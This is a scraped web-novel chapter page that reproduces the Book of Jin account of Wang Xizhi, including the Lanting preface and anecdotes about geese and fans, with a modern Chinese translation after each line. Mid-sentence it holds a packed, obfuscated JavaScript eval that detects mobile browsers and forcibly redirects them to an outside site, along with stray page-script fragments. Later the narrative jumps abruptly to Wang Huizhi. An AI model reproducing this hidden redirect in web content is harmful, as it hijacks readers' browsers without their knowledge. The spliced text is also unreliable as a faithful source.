21. 第 21 章

作品:《载酒江湖行

    羲之雅好服食养性,不乐在京师,初渡浙江,便有终焉之志。


    王羲之向来喜好服食丹药调养心性,不乐意在京城(居住),刚渡过浙江(钱塘江)时,就有了在此安度余生的想法。


    会稽有佳山水,名士多居之,谢安未仕时亦居焉。


    会稽有优美的山水,许多名士居住于此,谢安尚未入仕时也居住在那里。


    孙绰、李充、许询、支遁等皆以文义冠世,并筑室东土,与羲之同好。


    都凭借文章义理在世上居首位,他们都在东边营建住宅,与王羲之有相同的喜好。


    尝与同志宴集于会稽山阴之兰亭,羲之自为之序以申其志曰:永和九年,岁在癸丑,暮春之初,会于会稽山阴之兰亭,修禊事也。


    曾经与志同道合者在会稽郡山阴县的兰亭宴集,王羲之亲自为之作序以表明自己的志趣,序中说:‘永和九年,岁次癸丑,暮春之初,在会稽郡山阴县的兰亭聚会,进行修禊之事。''。


    群贤毕至,少长咸集。


    众多贤才都到齐了,年少者和年长者都聚集于此。


    此地有崇山峻岭,茂林修竹,又有清流激湍,映带左右,引以为流觞曲水,列坐其次。


    这里有高大险峻的山岭,茂密的树林和修长的竹子,又有清澈而湍急的溪流,像带子一样辉映环绕在左右,(人们)引来(它)作为流动酒杯的曲水,(大家)依次排列坐在曲水旁边。


    虽旡丝竹管弦之盛,一觞一咏,亦足以畅叙幽情。


    虽然没有丝竹管弦演奏的热闹景象,不过饮一杯酒,赋一首诗,也足够畅快地抒发内心深处的情感了。


    是日也,天朗气清,惠风和畅,仰观宇宙之大,俯察品类之盛,所以游目骋怀,足以极视听之娱,信可乐也。


    和的春风轻柔舒畅,抬头仰望浩大的宇宙,低头察视众多的物类,借此来纵目游览,开畅胸怀,完全可以尽情享受视与听的乐趣,确实是快乐啊。


    夫人之相与,俯仰一世,或取诸怀抱,悟言一室之内;或因寄所托,放浪形骸之外。


    人们相互交往,很快就度过一生。有的人倾吐自己的内心想法,在室内畅谈;有的人凭借所寄托的事物,放纵无拘束地生活。


    虽趣舍万殊,静躁不同,当其欣于所遇,?得于己,快然自足,不知老之将至。


    虽然人们的取舍千差万别,性格上有安静和浮躁的区别,但当他们对所接触到的事物感到欣喜,自己暂时有所得时,就会快乐且满足,竟不知道衰老即将来临。


    及其所之既倦,情随事迁,感慨系之矣。


    等到他们对所追求的事物已经感到厌倦的时候,感情随着事物的变化而改变,感慨随之而生。


    向之所欣,俯仰之间,以为陈迹,犹不能以之兴怀。


    以前所欣喜的事物,在转瞬之间就成为了过去的痕迹,却还不能因此而引发心中的情怀。


    况修短随化,终期于尽。


    何况寿命长短是顺应自然造化的,最终都会归于消亡。


    古人云死生亦大矣,岂不痛哉!


    古人说:死生也是一件大事啊,怎能不让人悲痛呢?


    每览昔人兴感之由,若合一契,未尝不临文嗟悼,不能喻之于怀。


    每当我看到前人产生感慨的缘由,就像符契那样相合,未尝不面对着文章嗟叹哀伤,心里却不能明白其中的原因。


    固知一死生为虚诞,齐彭殇为妄作,后之视今,亦由今之视昔,悲夫!


    本来就知道将生与死视为等同是荒诞无稽的,把长寿与短命等量齐观是虚妄不实的。后代的人看待当今,也如同当今的人看待往昔一样,可悲啊!


    故列叙时人,录其所述,虽世殊事异,所以兴怀,其致一也。


    所以我依次叙述当时参加的人,抄录他们所写的文字,虽然时代不同,事情也不一样,但引起人们感触的原因,其情致是相同的。


    后之览者,亦将有感于斯文。


    后世的读者,也将对这篇文章有所感慨。


    或以潘岳金谷诗序方其文,羲之比于石崇,闻而甚喜。


    有人拿潘岳的《金谷诗序》来比他这篇文章,将王羲之比作石崇,他听了之后非常高兴。


    □□鹅,会稽有孤居姥养一鹅,善鸣,求市未能得,遂携亲友命驾就观。


    王羲之生性喜爱鹅,会稽有一位独居的老妇人养了一只鹅,很善于鸣叫,王羲之想买却未能买到,于是就带着亲友驾车前往观看。


    姥闻羲之将至,烹以待之,羲之叹惜弥日。


    老妇人听说王羲之即将到来,便煮了鹅来招待他,王羲之为此整天叹息。


    又山阴有一道士养好鹅,羲之往观焉,意甚悦,固求市之。


    又山阴有一个道士养了一群好鹅,王羲之前去观看,心里很是高兴,执意请求买下这些鹅。


    道士云:“为写道德经,当举群相赠耳。”


    道士说:“你为我抄写《道德经》,我就把这群鹅全都赠送给你。”


    羲之欣然写毕,笼鹅而归,甚以为乐。


    王羲之欣然写完(字)后,用笼子装着鹅回去了,心里觉得十分快乐。


    其任率如此。


    他就是这样的任性率真。


    尝诣门生家,见榧几滑净,因书之,真草相半。


    他曾经到门生家中去,看到榧木做的几案光滑洁净,便在上面写字,楷书和草书各占一半。


    后为父误刮去之,门生惊懊者累日。


    后来被他的父亲不小心刮掉了(字迹),他的门生为此惊愕懊恼了许多天。


    又尝在戢山见一老姥,持六角竹扇卖之。


    又曾经在戢山看到一个老妇人,拿着六角竹扇售卖。


    羲之书其扇,各为五字。


    王羲之在老妇的扇子上,每把各写了五个字。


    姥初有愠色,因谓姥曰:“但言是王右军书,以求百钱邪!”


    老妇人起初面露愠色,于是王羲之对老妇人说:“只要说是王右军写的,就可求得一百钱了。”


    姥如其言,人竞买之。


    老妪按照他所说的做了,人们竞相购买(那些扇


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16493094|185308||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    子)。


    他日,姥又持扇来,羲之笑而不答。


    过了些日子,老妇人又拿着扇子前来,王羲之笑着却不回应。


    其书为世所重,皆此类也。


    他的书法被世人所看重,都是这样的情况。


    每自称“我书比钟繇锺繇,当抗行,比张芝草,犹当鴈行


    他常常自称:“我的书法和钟繇相比,应当不相上下;和张芝的草书相比,也应当是不相上下。”


    曾与人书云:“张芝临池学书,池水尽黑,使人耽之若是,未必后之也。”


    他曾写信给人说:“张芝临池学书法,池水都变黑了,若人能像他这样沉醉于此,未必就不如他。”


    羲之书初不胜庾翼郄愔,及其暮年方妙。


    王羲之的书法最初比不上庾翼和郗愔,到了他的晚年才变得精妙。


    尝以章草答庾亮,而翼深叹伏,因与羲之书云:“吾昔有伯英章草十纸,过江颠狈,遂乃亡失,常叹妙迹永绝。


    曾经用章草回复庾亮,庾翼看后深深叹服,于是给王羲之写信说:‘我过去有张芝的十张章草书法作品,渡江南下时狼狈不堪,于是就遗失了,常常叹息这精妙的笔迹永远消失了。’


    忽见足下答家兄书,焕若神明,顿还旧观。”


    忽然看到您回复我哥哥的信,文采焕发如同神明,顿时恢复了原来的风貌。


    时骠骑将军王述少有美誉,与羲之齐名,而羲之甚轻之,由是情好不恊。


    当时骠骑将军王述年少之时就有美好的声誉,与王羲之齐名,然而王羲之十分轻视他,因此两人情谊不和谐。


    述先为会稽,以母丧居郡境。


    王述之前担任会稽内史,由于母亲去世而居住在会稽郡内。


    羲之代述,止一吊,遂不重诣。


    王羲之作他的代表(代述表意不明,根据上下文推测为代笔之类意思),只写了一封慰问信,就不再前往。


    述每闻角声,谓羲之当候己,辄洒埽而待之。


    王述每次听到号角声,就以为王羲之会来探望自己,便清扫庭院来等待他。


    如此者累年,而羲之竟不顾,述深以为恨。


    像这样持续了好几年,然而王羲之始终没有去看望,王述为此深感遗憾。


    及述为扬州刺史,将就征,周行郡界,而不过羲之。


    等到王述担任扬州刺史,即将赴任的时候,在郡中四处行走,却不拜访王羲之。


    临发,一别而去。


    逵时在剡,便夜乘小舡诣之,经宿方至,造门不前而反。


    戴逵当时在剡县,王子猷便趁着夜色乘坐小船前去拜访他,过了一整夜才到达,到了门口却不进去就返回了。


    人问其故,徽之曰:“本乘兴而行,兴尽而反,何必见安道邪!”


    有人问他这样做的原因,王徽之说:“我本来是趁着兴致出行的,兴致没了就返回,何必非要见到戴逵呢!”


    雅性放诞,好声色,尝夜与弟献之共读高士传赞,献之赏井丹高絜,徽之曰:“未若长卿慢世也。”